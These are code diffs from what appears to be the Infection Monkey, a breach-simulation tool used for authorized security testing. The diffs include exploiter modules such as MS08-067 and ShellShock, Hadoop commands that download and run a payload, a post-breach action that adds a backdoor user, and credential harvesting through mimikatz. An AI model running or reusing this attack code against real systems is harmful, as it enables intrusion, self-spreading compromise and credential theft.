cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_target_path_linux) + ' & '
run_path = exploit + cmdline
self.attack_page(url, header, run_path)
@ -202,8 +202,17 @@ class ShellShockExploiter(HostExploiter):
if is_https:
attack_path = 'https://'
attack_path = attack_path + str(host) + ":" + str(port)
reqs = []
timeout = False
attack_urls = [attack_path + url for url in url_list]
reqs = [requests.head(u, verify=False, timeout=TIMEOUT) for u in attack_urls]
for u in attack_urls:
try:
reqs.append(requests.head(u, verify=False, timeout=TIMEOUT))
except requests.Timeout:
timeout = True
break
if timeout:
LOG.debug("Some connections timed out while sending request to potentially vulnerable urls.")
valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok]
urls = [resp.url for resp in valid_resps]

View File

@ -126,7 +126,9 @@ class WebRCE(HostExploiter):
candidate_services = {}
candidate_services.update({
service: self.host.services[service] for service in self.host.services if
(self.host.services[service] and self.host.services[service]['name'] in names)
(self.host.services[service] and
'name' in self.host.services[service] and
self.host.services[service]['name'] in names)
})
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if

View File

@ -192,9 +192,9 @@ class Ms08_067_Exploiter(HostExploiter):
sock.send("cmd /c (net user %s %s /add) &&"
" (net localgroup administrators %s /add)\r\n" %
(self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass,
self._config.ms08_067_remote_user_add))
(self._config.user_to_add,
self._config.remote_user_pass,
self._config.user_to_add))
time.sleep(2)
reply = sock.recv(1000)
@ -213,8 +213,8 @@ class Ms08_067_Exploiter(HostExploiter):
remote_full_path = SmbTools.copy_file(self.host,
src_path,
self._config.dropper_target_path_win_32,
self._config.ms08_067_remote_user_add,
self._config.ms08_067_remote_user_pass)
self._config.user_to_add,
self._config.remote_user_pass)
if not remote_full_path:
# try other passwords for administrator
@ -240,7 +240,7 @@ class Ms08_067_Exploiter(HostExploiter):
try:
sock.send("start %s\r\n" % (cmdline,))
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
sock.send("net user %s /delete\r\n" % (self._config.user_to_add,))
except Exception as exc:
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", self.host, exc)
return False

View File

@ -28,4 +28,14 @@ CHECK_COMMAND = "echo %s" % ID_STRING
GET_ARCH_WINDOWS = "wmic os get osarchitecture"
GET_ARCH_LINUX = "lscpu"
DOWNLOAD_TIMEOUT = 300
# All in one commands (upload, change permissions, run)
HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \
" if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \
"{& %(monkey_path)s %(monkey_type)s %(parameters)s } \""
HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
"&& wget -O %(monkey_path)s %(http_path)s " \
"; chmod +x %(monkey_path)s " \
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
DOWNLOAD_TIMEOUT = 300

View File

@ -1,32 +0,0 @@
# -*- mode: python -*-
block_cipher = None
a = Analysis(['main.py'],
pathex=['..'],
binaries=None,
datas=None,
hiddenimports=['_cffi_backend'],
hookspath=None,
runtime_hooks=None,
excludes=None,
win_no_prefer_redirects=None,
win_private_assemblies=None,
cipher=block_cipher)
a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')]
a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')]
pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher)
exe = EXE(pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
name='monkey',
debug=False,
strip=True,
upx=True,
console=True )

View File

@ -109,6 +109,10 @@ class InfectionMonkey(object):
system_info = system_info_collector.get_info()
ControlClient.send_telemetry("system_info_collection", system_info)
for action_class in WormConfiguration.post_breach_actions:
action = action_class()
action.act()
if 0 == WormConfiguration.depth:
LOG.debug("Reached max depth, shutting down")
ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
@ -120,9 +124,6 @@ class InfectionMonkey(object):
ControlClient.keepalive()
ControlClient.load_control_config()
LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
self._network.initialize()
self._exploiters = WormConfiguration.exploiter_classes

View File

@ -2,39 +2,120 @@
import os
import platform
__author__ = 'itay.mizeretz'
block_cipher = None
# Name of zip file in monkey. That's the name of the file in the _MEI folder
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
def main():
a = Analysis(['main.py'],
pathex=['..'],
hiddenimports=get_hidden_imports(),
hookspath=None,
runtime_hooks=None,
binaries=None,
datas=None,
excludes=None,
win_no_prefer_redirects=None,
win_private_assemblies=None,
cipher=block_cipher
)
a.binaries += get_binaries()
a.datas = process_datas(a.datas)
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)
exe = EXE(pyz,
a.scripts,
a.binaries,
a.zipfiles,
a.datas,
name=get_monkey_filename(),
debug=False,
strip=get_exe_strip(),
upx=True,
console=True,
icon=get_exe_icon())
def is_windows():
return platform.system().find("Windows") >= 0
def is_32_bit():
return platform.architecture()[0] == "32bit"
def get_bin_folder():
return os.path.join('.', 'bin')
def get_bin_file_path(filename):
return os.path.join(get_bin_folder(), filename)
def process_datas(orig_datas):
datas = orig_datas
if is_windows():
datas = [i for i in datas if i[0].find('Include') < 0]
datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
return datas
def get_binaries():
binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries()
binaries += get_sc_binaries()
binaries += get_traceroute_binaries()
return binaries
def get_windows_only_binaries():
binaries = []
binaries += get_msvcr()
return binaries
def get_linux_only_binaries():
binaries = []
return binaries
def get_hidden_imports():
return ['_cffi_backend', 'queue'] if is_windows() else ['_cffi_backend']
def get_sc_binaries():
return [(x, get_bin_file_path(x), 'BINARY') for x in ['sc_monkey_runner32.so', 'sc_monkey_runner64.so']]
def get_msvcr():
return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')]
def get_traceroute_binaries():
traceroute_name = 'traceroute32' if is_32_bit() else 'traceroute64'
return [(traceroute_name, get_bin_file_path(traceroute_name), 'BINARY')]
def get_monkey_filename():
return 'monkey.exe' if is_windows() else 'monkey'
def get_exe_strip():
return not is_windows()
def get_exe_icon():
return 'monkey.ico' if is_windows() else None
def get_mimikatz_zip_path():
if platform.architecture()[0] == "32bit":
return '.\\bin\\mk32.zip'
else:
return '.\\bin\\mk64.zip'
mk_filename = 'mk32.zip' if is_32_bit() else 'mk64.zip'
return os.path.join(get_bin_folder(), mk_filename)
a = Analysis(['main.py'],
pathex=['..'],
hiddenimports=['_cffi_backend', 'queue'],
hookspath=None,
runtime_hooks=None)
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
if platform.system().find("Windows") >= 0:
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')]
pyz = PYZ(a.pure)
exe = EXE(pyz,
a.scripts,
a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')],
a.zipfiles,
a.datas,
name='monkey.exe',
debug=False,
strip=None,
upx=True,
console=True,
icon='monkey.ico')
main() # We don't check if __main__ because this isn't the main script.

View File

@ -32,7 +32,7 @@ int samba_init_module(void)
const char RUN_MONKEY_CMD[] = "./";
const char MONKEY_DEST_FOLDER[] = "/tmp";
const char MONKEY_DEST_NAME[] = "monkey";
int found = 0;
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
char commandline[LINE_MAX_LENGTH] = {'\0'};
@ -43,22 +43,22 @@ int samba_init_module(void)
int monkeySize = 0;
void* monkeyBinary = NULL;
struct stat fileStats;
pid = fork();
if (0 != pid)
{
// error or this is parent - nothing to do but return.
return 0;
}
// Find fullpath of running module.
pFile = fopen("/proc/self/maps", "r");
if (NULL == pFile)
{
return 0;
}
while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) {
fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME);
if (fileNamePointer != NULL) {
@ -66,44 +66,42 @@ int samba_init_module(void)
break;
}
}
fclose(pFile);
// We can't find ourselves in module list
if (0 == found)
{
return 0;
}
monkeyDirectory = strchr(modulePathLine, '/');
*fileNamePointer = '\0';
if (0 != chdir(monkeyDirectory))
{
return 0;
}
// Write file to indicate we're running
pFile = fopen(RUNNER_RESULT_FILENAME, "w");
if (NULL == pFile)
{
return 0;
}
fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile);
fclose(pFile);
// Read commandline
pFile = fopen(COMMANDLINE_FILENAME, "r");
if (NULL == pFile)
{
return 0;
}
// Build commandline
strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1);
strncat(commandline, MONKEY_DEST_NAME, sizeof(MONKEY_DEST_NAME) - 1);
strncat(commandline, " ", 1);
snprintf(commandline, sizeof(commandline), "%s%s ", RUN_MONKEY_CMD, MONKEY_DEST_NAME);
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
fclose(pFile);

View File

@ -4,4 +4,4 @@
extern int samba_init_module(void);
extern int init_samba_module(void);
#endif // monkey_runner_h__
#endif // monkey_runner_h__

View File

@ -106,8 +106,8 @@ class NetworkScanner(object):
break
if SCAN_DELAY:
time.sleep(SCAN_DELAY)
if WormConfiguration.tcp_scan_interval:
time.sleep(WormConfiguration.tcp_scan_interval)
@staticmethod
def _is_any_ip_in_subnet(ip_addresses, subnet_str):

View File

@ -5,12 +5,17 @@ import select
import socket
import struct
import time
import re
from six import text_type
import ipaddress
from six.moves import range
from infection_monkey.pyinstaller_utils import get_binary_file_path
from infection_monkey.utils import is_64bit_python
DEFAULT_TIMEOUT = 10
BANNER_READ = 1024
IP_ADDR_RE = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}'
IP_ADDR_PARENTHESES_RE = r'\(' + IP_ADDR_RE + r'\)'
LOG = logging.getLogger(__name__)
SLEEP_BETWEEN_POLL = 0.5
@ -174,58 +179,95 @@ def tcp_port_to_service(port):
return 'tcp-' + str(port)
def traceroute(target_ip, ttl):
def traceroute(target_ip, ttl=64):
"""
Traceroute for a specific IP.
:param target_ip: Destination
Traceroute for a specific IP/name.
Note, may throw exception on failure that should be handled by caller.
:param target_ip: IP/name of target
:param ttl: Max TTL
:return: Sequence of IPs in the way
"""
if sys.platform == "win32":
try:
# we'll just use tracert because that's always there
cli = ["tracert",
"-d",
"-w", "250",
"-h", str(ttl),
target_ip]
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
stdout, stderr = proc_obj.communicate()
ip_lines = stdout.split('\r\n')[3:-3]
trace_list = []
for line in ip_lines:
tokens = line.split()
last_token = tokens[-1]
try:
ip_addr = ipaddress.ip_address(text_type(last_token))
except ValueError:
ip_addr = ""
trace_list.append(ip_addr)
return trace_list
except:
return []
return _traceroute_windows(target_ip, ttl)
else: # linux based hopefully
# implementation note: We're currently going to just use ping.
# reason is, implementing a non root requiring user is complicated (see traceroute(8) code)
# while this is just ugly
# we can't use traceroute because it's not always installed
current_ttl = 1
trace_list = []
while current_ttl <= ttl:
try:
cli = ["ping",
"-c", "1",
"-w", "1",
"-t", str(current_ttl),
target_ip]
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
stdout, stderr = proc_obj.communicate()
ip_line = stdout.split('\n')
ip_line = ip_line[1]
ip = ip_line.split()[1]
trace_list.append(ipaddress.ip_address(text_type(ip)))
except (IndexError, ValueError):
# assume we failed parsing output
trace_list.append("")
current_ttl += 1
return trace_list
return _traceroute_linux(target_ip, ttl)
def _get_traceroute_bin_path():
"""
Gets the path to the prebuilt traceroute executable
This is the traceroute utility from: http://traceroute.sourceforge.net
Its been built using the buildroot utility with the following settings:
* Statically link to musl and all other required libs
* Optimize for size
This is done because not all linux distros come with traceroute out-of-the-box, and to ensure it behaves as expected
:return: Path to traceroute executable
"""
return get_binary_file_path("traceroute64" if is_64bit_python() else "traceroute32")
def _parse_traceroute(output, regex, ttl):
"""
Parses the output of traceroute (from either Linux or Windows)
:param output: The output of the traceroute
:param regex: Regex for finding an IP address
:param ttl: Max TTL. Must be the same as the TTL used as param for traceroute.
:return: List of ips which are the hops on the way to the traceroute destination.
If a hop's IP wasn't found by traceroute, instead of an IP, the array will contain None
"""
ip_lines = output.split('\n')
trace_list = []
first_line_index = None
for i in range(len(ip_lines)):
if re.search(r'^\s*1', ip_lines[i]) is not None:
first_line_index = i
break
for i in range(first_line_index, first_line_index + ttl):
if re.search(r'^\s*' + str(i - first_line_index + 1), ip_lines[i]) is None: # If trace is finished
break
re_res = re.search(regex, ip_lines[i])
if re_res is None:
ip_addr = None
else:
ip_addr = re_res.group()
trace_list.append(ip_addr)
return trace_list
def _traceroute_windows(target_ip, ttl):
"""
Traceroute for a specific IP/name - Windows implementation
"""
# we'll just use tracert because that's always there
cli = ["tracert",
"-d",
"-w", "250",
"-h", str(ttl),
target_ip]
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
stdout, stderr = proc_obj.communicate()
stdout = stdout.replace('\r', '')
return _parse_traceroute(stdout, IP_ADDR_RE, ttl)
def _traceroute_linux(target_ip, ttl):
"""
Traceroute for a specific IP/name - Linux implementation
"""
cli = [_get_traceroute_bin_path(),
"-m", str(ttl),
target_ip]
proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE)
stdout, stderr = proc_obj.communicate()
lines = _parse_traceroute(stdout, IP_ADDR_PARENTHESES_RE, ttl)
lines = [x[1:-1] if x else None # Removes parenthesis
for x in lines]
return lines

View File

@ -0,0 +1,4 @@
__author__ = 'danielg'
from add_user import BackdoorUser

View File

@ -0,0 +1,49 @@
import datetime
import logging
import subprocess
import sys
from infection_monkey.config import WormConfiguration
LOG = logging.getLogger(__name__)
# Linux doesn't have WindowsError
try:
WindowsError
except NameError:
WindowsError = None
__author__ = 'danielg'
class BackdoorUser(object):
"""
This module adds a disabled user to the system.
This tests part of the ATT&CK matrix
"""
def act(self):
LOG.info("Adding a user")
if sys.platform.startswith("win"):
retval = self.add_user_windows()
else:
retval = self.add_user_linux()
if retval != 0:
LOG.warn("Failed to add a user")
else:
LOG.info("Done adding user")
@staticmethod
def add_user_linux():
cmd_line = ['useradd', '-M', '--expiredate',
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
WormConfiguration.user_to_add]
retval = subprocess.call(cmd_line)
return retval
@staticmethod
def add_user_windows():
cmd_line = ['net', 'user', WormConfiguration.user_to_add,
WormConfiguration.remote_user_pass,
'/add', '/ACTIVE:NO']
retval = subprocess.call(cmd_line)
return retval

View File

@ -1,4 +1,5 @@
How to build a monkey binary from scratch.
To get development versions of Monkey Island and Monkey look into deployment scripts folder.
If you only want to monkey from scratch you may refer to the instructions below.
The monkey is composed of three separate parts.
* The Infection Monkey itself - PyInstaller compressed python archives

View File

@ -14,5 +14,7 @@ six
ecdsa
netifaces
ipaddress
wmi
pywin32
pymssql
pyftpdlib
pyftpdlib

View File

@ -6,7 +6,9 @@ import psutil
from enum import IntEnum
from infection_monkey.network.info import get_host_subnets
from infection_monkey.system_info.aws_collector import AwsCollector
from infection_monkey.system_info.azure_cred_collector import AzureCollector
from infection_monkey.system_info.netstat_collector import NetstatCollector
LOG = logging.getLogger(__name__)
@ -57,6 +59,13 @@ class InfoCollector(object):
def __init__(self):
self.info = {}
def get_info(self):
self.get_hostname()
self.get_process_list()
self.get_network_info()
self.get_azure_info()
self.get_aws_info()
def get_hostname(self):
"""
Adds the fully qualified computer hostname to the system information.
@ -99,12 +108,16 @@ class InfoCollector(object):
def get_network_info(self):
"""
Adds network information from the host to the system information.
Currently updates with a list of networks accessible from host,
containing host ip and the subnet range.
Currently updates with netstat and a list of networks accessible from host
containing host ip and the subnet range
:return: None. Updates class information
"""
LOG.debug("Reading subnets")
self.info['network_info'] = {'networks': get_host_subnets()}
self.info['network_info'] =\
{
'networks': get_host_subnets(),
'netstat': NetstatCollector.get_netstat_info()
}
def get_azure_info(self):
"""
@ -131,3 +144,6 @@ class InfoCollector(object):
if len(azure_creds) != 0:
self.info["Azure"] = {}
self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds]
def get_aws_info(self):
self.info['aws'] = AwsCollector().get_aws_info()

View File

@ -0,0 +1,29 @@
import logging
from common.cloud.aws import AWS
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
class AwsCollector(object):
"""
Extract info from AWS machines
"""
@staticmethod
def get_aws_info():
LOG.info("Collecting AWS info")
aws = AWS()
info = {}
if aws.is_aws_instance():
LOG.info("Machine is an AWS instance")
info = \
{
'instance_id': aws.get_instance_id()
}
else:
LOG.info("Machine is NOT an AWS instance")
return info

View File

@ -23,10 +23,7 @@ class LinuxInfoCollector(InfoCollector):
:return: Dict of system information
"""
LOG.debug("Running Linux collector")
self.get_hostname()
self.get_process_list()
self.get_network_info()
self.get_azure_info()
super(LinuxInfoCollector, self).get_info()
self.info['ssh_info'] = SSHCollector.get_info()
return self.info

View File

@ -44,8 +44,10 @@ class MimikatzCollector(object):
self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME))
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p)
self._collect = collect_proto(("collect", self._dll))
self._get = get_proto(("get", self._dll))
self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll))
self._isInit = True
except Exception:
LOG.exception("Error initializing mimikatz collector")
@ -55,6 +57,7 @@ class MimikatzCollector(object):
Gets the logon info from mimikatz.
Returns a dictionary of users with their known credentials.
"""
LOG.info('Getting mimikatz logon information')
if not self._isInit:
return {}
LOG.debug("Running mimikatz collector")
@ -64,6 +67,8 @@ class MimikatzCollector(object):
logon_data_dictionary = {}
hostname = socket.gethostname()
self.mimikatz_text = self._get_text_output_proto()
for i in range(entry_count):
entry = self._get()
@ -97,6 +102,9 @@ class MimikatzCollector(object):
except Exception:
LOG.exception("Error getting logon info")
return {}
def get_mimikatz_text(self):
return self.mimikatz_text
class LogonData(ctypes.Structure):
"""

View File

@ -0,0 +1,44 @@
# Inspired by Giampaolo Rodola's psutil example from https://github.com/giampaolo/psutil/blob/master/scripts/netstat.py
import logging
import psutil
import socket
from socket import AF_INET, SOCK_STREAM, SOCK_DGRAM
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
class NetstatCollector(object):
"""
Extract netstat info
"""
AF_INET6 = getattr(socket, 'AF_INET6', object())
proto_map = {
(AF_INET, SOCK_STREAM): 'tcp',
(AF_INET6, SOCK_STREAM): 'tcp6',
(AF_INET, SOCK_DGRAM): 'udp',
(AF_INET6, SOCK_DGRAM): 'udp6',
}
@staticmethod
def get_netstat_info():
LOG.info("Collecting netstat info")
return [NetstatCollector._parse_connection(c) for c in psutil.net_connections(kind='inet')]
@staticmethod
def _parse_connection(c):
return \
{
'proto': NetstatCollector.proto_map[(c.family, c.type)],
'local_address': c.laddr[0],
'local_port': c.laddr[1],
'remote_address': c.raddr[0] if c.raddr else None,
'remote_port': c.raddr[1] if c.raddr else None,
'status': c.status,
'pid': c.pid
}

View File

@ -1,10 +1,17 @@
import os
import logging
import sys
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
import infection_monkey.config
from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
from infection_monkey.system_info import InfoCollector
from infection_monkey.system_info.wmi_consts import WMI_CLASSES
from common.utils.wmi_utils import WMIUtils
LOG = logging.getLogger(__name__)
LOG.info('started windows info collector')
__author__ = 'uri'
@ -17,6 +24,8 @@ class WindowsInfoCollector(InfoCollector):
def __init__(self):
super(WindowsInfoCollector, self).__init__()
self._config = infection_monkey.config.WormConfiguration
self.info['reg'] = {}
self.info['wmi'] = {}
def get_info(self):
"""
@ -26,17 +35,33 @@ class WindowsInfoCollector(InfoCollector):
:return: Dict of system information
"""
LOG.debug("Running Windows collector")
self.get_hostname()
self.get_process_list()
self.get_network_info()
self.get_azure_info()
self._get_mimikatz_info()
super(WindowsInfoCollector, self).get_info()
#self.get_wmi_info()
self.get_installed_packages()
from infection_monkey.config import WormConfiguration
if WormConfiguration.should_use_mimikatz:
self.get_mimikatz_info()
return self.info
def _get_mimikatz_info(self):
if self._config.should_use_mimikatz:
LOG.info("Using mimikatz")
self.info["credentials"].update(MimikatzCollector().get_logon_info())
def get_installed_packages(self):
LOG.info('getting installed packages')
self.info["installed_packages"] = os.popen("dism /online /get-packages").read()
self.info["installed_features"] = os.popen("dism /online /get-features").read()
LOG.debug('Got installed packages')
def get_wmi_info(self):
LOG.info('getting wmi info')
for wmi_class_name in WMI_CLASSES:
self.info['wmi'][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name)
LOG.debug('finished get_wmi_info')
def get_mimikatz_info(self):
mimikatz_collector = MimikatzCollector()
mimikatz_info = mimikatz_collector.get_logon_info()
if mimikatz_info:
if "credentials" in self.info:
self.info["credentials"].update(mimikatz_info)
self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text()
else:
LOG.info("Not using mimikatz")
LOG.info('No mimikatz info was gathered')

View File

@ -0,0 +1,32 @@
WMI_CLASSES = {"Win32_OperatingSystem", "Win32_ComputerSystem", "Win32_LoggedOnUser", "Win32_UserAccount",
"Win32_UserProfile", "Win32_Group", "Win32_GroupUser", "Win32_Product", "Win32_Service",
"Win32_OptionalFeature"}
# These wmi queries are able to return data about all the users & machines in the domain.
# For these queries to work, the monkey should be run on a domain machine and
#
# monkey should run as *** SYSTEM *** !!!
#
WMI_LDAP_CLASSES = {"ds_user": ("DS_sAMAccountName", "DS_userPrincipalName",
"DS_sAMAccountType", "ADSIPath", "DS_userAccountControl",
"DS_objectSid", "DS_objectClass", "DS_memberOf",
"DS_primaryGroupID", "DS_pwdLastSet", "DS_badPasswordTime",
"DS_badPwdCount", "DS_lastLogon", "DS_lastLogonTimestamp",
"DS_lastLogoff", "DS_logonCount", "DS_accountExpires"),
"ds_group": ("DS_whenChanged", "DS_whenCreated", "DS_sAMAccountName",
"DS_sAMAccountType", "DS_objectSid", "DS_objectClass",
"DS_name", "DS_memberOf", "DS_member", "DS_instanceType",
"DS_cn", "DS_description", "DS_distinguishedName", "ADSIPath"),
"ds_computer": ("DS_dNSHostName", "ADSIPath", "DS_accountExpires",
"DS_adminDisplayName", "DS_badPasswordTime",
"DS_badPwdCount", "DS_cn", "DS_distinguishedName",
"DS_instanceType", "DS_lastLogoff", "DS_lastLogon",
"DS_lastLogonTimestamp", "DS_logonCount", "DS_objectClass",
"DS_objectSid", "DS_operatingSystem", "DS_operatingSystemVersion",
"DS_primaryGroupID", "DS_pwdLastSet", "DS_sAMAccountName",
"DS_sAMAccountType", "DS_servicePrincipalName", "DS_userAccountControl",
"DS_whenChanged", "DS_whenCreated"),
}

View File

@ -30,3 +30,8 @@ def is_64bit_python():
def is_windows_os():
return sys.platform.startswith("win")
def utf_to_ascii(string):
# Converts utf string to ascii. Safe to use even if string is already ascii.
udata = string.decode("utf-8")
return udata.encode("ascii", "ignore")

View File

@ -84,7 +84,7 @@ def init_app(mongo_url):
app.config['MONGO_URI'] = mongo_url
app.config['SECRET_KEY'] = uuid.getnode()
app.config['SECRET_KEY'] = str(uuid.getnode())
app.config['JWT_AUTH_URL_RULE'] = '/api/auth'
app.config['JWT_EXPIRATION_DELTA'] = env.get_auth_expiration_time()

View File

@ -1,5 +1,6 @@
import abc
from datetime import timedelta
import os
__author__ = 'itay.mizeretz'
@ -8,7 +9,7 @@ class Environment(object):
__metaclass__ = abc.ABCMeta
_ISLAND_PORT = 5000
_MONGO_URL = "mongodb://localhost:27017/monkeyisland"
_MONGO_URL = os.environ.get("MONKEY_MONGO_URL", "mongodb://localhost:27017/monkeyisland")
_DEBUG_SERVER = False
_AUTH_EXPIRATION_TIME = timedelta(hours=1)

View File

@ -1,7 +1,6 @@
import urllib2
import cc.auth
from cc.environment import Environment
from common.cloud.aws import AWS
__author__ = 'itay.mizeretz'
@ -13,7 +12,7 @@ class AwsEnvironment(Environment):
@staticmethod
def _get_instance_id():
return urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read()
return AWS.get_instance_id()
def is_auth_enabled(self):
return True

View File

@ -27,7 +27,7 @@
},
"root": {
"level": "INFO",
"level": "DEBUG",
"handlers": ["console", "info_file_handler"]
}
}

View File

@ -1,6 +1,7 @@
from __future__ import print_function # In python 2.7
import os
import os.path
import sys
import time
import logging
@ -12,7 +13,8 @@ if BASE_PATH not in sys.path:
from cc.island_logger import json_setup_logging
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
json_setup_logging(default_path='.\\monkey_island\\cc\\island_logger_default_config.json', default_level=logging.DEBUG)
json_setup_logging(default_path=os.path.join(BASE_PATH, 'cc', 'island_logger_default_config.json'),
default_level=logging.DEBUG)
logger = logging.getLogger(__name__)
from cc.app import init_app

View File

@ -1,7 +1,7 @@
import json
import flask_restful
from flask import request, jsonify
from flask import request, jsonify, abort
from cc.auth import jwt_required
from cc.services.config import ConfigService
@ -20,5 +20,6 @@ class MonkeyConfiguration(flask_restful.Resource):
if 'reset' in config_json:
ConfigService.reset_config()
else:
ConfigService.update_config(config_json, should_encrypt=True)
if not ConfigService.update_config(config_json, should_encrypt=True):
abort(400)
return self.get()

View File

@ -1,6 +1,5 @@
import json
import logging
import traceback
import copy
from datetime import datetime
@ -10,10 +9,12 @@ from flask import request
from cc.auth import jwt_required
from cc.database import mongo
from cc.services import mimikatz_utils
from cc.services.config import ConfigService
from cc.services.edge import EdgeService
from cc.services.node import NodeService
from cc.encryptor import encryptor
from cc.services.wmi_handler import WMIHandler
__author__ = 'Barak'
@ -170,6 +171,8 @@ class Telemetry(flask_restful.Resource):
@staticmethod
def process_system_info_telemetry(telemetry_json):
users_secrets = {}
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
if 'ssh_info' in telemetry_json['data']:
ssh_info = telemetry_json['data']['ssh_info']
Telemetry.encrypt_system_info_ssh_keys(ssh_info)
@ -182,6 +185,12 @@ class Telemetry(flask_restful.Resource):
Telemetry.encrypt_system_info_creds(creds)
Telemetry.add_system_info_creds_to_config(creds)
Telemetry.replace_user_dot_with_comma(creds)
if 'mimikatz' in telemetry_json['data']:
users_secrets = mimikatz_utils.MimikatzSecrets.\
extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', ''))
if 'wmi' in telemetry_json['data']:
wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets)
wmi_handler.process_and_handle_wmi_info()
@staticmethod
def add_ip_to_ssh_keys(ip, ssh_info):

View File

@ -9,874 +9,13 @@ from cc.database import mongo
from cc.encryptor import encryptor
from cc.environment.environment import env
from cc.utils import local_ip_addresses
from config_schema import SCHEMA
__author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
WARNING_SIGN = u" \u26A0"
SCHEMA = {
"title": "Monkey",
"type": "object",
"definitions": {
"exploiter_classes": {
"title": "Exploit class",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"SmbExploiter"
],
"title": "SMB Exploiter"
},
{
"type": "string",
"enum": [
"WmiExploiter"
],
"title": "WMI Exploiter"
},
{
"type": "string",
"enum": [
"MSSQLExploiter"
],
"title": "MSSQL Exploiter"
},
{
"type": "string",
"enum": [
"RdpExploiter"
],
"title": "RDP Exploiter (UNSAFE)"
},
{
"type": "string",
"enum": [
"Ms08_067_Exploiter"
],
"title": "MS08-067 Exploiter (UNSAFE)"
},
{
"type": "string",
"enum": [
"SSHExploiter"
],
"title": "SSH Exploiter"
},
{
"type": "string",
"enum": [
"ShellShockExploiter"
],
"title": "ShellShock Exploiter"
},
{
"type": "string",
"enum": [
"SambaCryExploiter"
],
"title": "SambaCry Exploiter"
},
{
"type": "string",
"enum": [
"ElasticGroovyExploiter"
],
"title": "ElasticGroovy Exploiter"
},
{
"type": "string",
"enum": [
"Struts2Exploiter"
],
"title": "Struts2 Exploiter"
},
{
"type": "string",
"enum": [
"WebLogicExploiter"
],
"title": "Oracle Web Logic Exploiter"
},
{
"type": "string",
"enum": [
"HadoopExploiter"
],
"title": "Hadoop/Yarn Exploiter"
}
]
},
"finger_classes": {
"title": "Fingerprint class",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"SMBFinger"
],
"title": "SMBFinger"
},
{
"type": "string",
"enum": [
"SSHFinger"
],
"title": "SSHFinger"
},
{
"type": "string",
"enum": [
"PingScanner"
],
"title": "PingScanner"
},
{
"type": "string",
"enum": [
"HTTPFinger"
],
"title": "HTTPFinger"
},
{
"type": "string",
"enum": [
"MySQLFinger"
],
"title": "MySQLFinger"
},
{
"type": "string",
"enum": [
"MSSQLFinger"
],
"title": "MSSQLFinger"
},
{
"type": "string",
"enum": [
"ElasticFinger"
],
"title": "ElasticFinger"
}
]
}
},
"properties": {
"basic": {
"title": "Basic - Credentials",
"type": "object",
"properties": {
"credentials": {
"title": "Credentials",
"type": "object",
"properties": {
"exploit_user_list": {
"title": "Exploit user list",
"type": "array",
"uniqueItems": True,
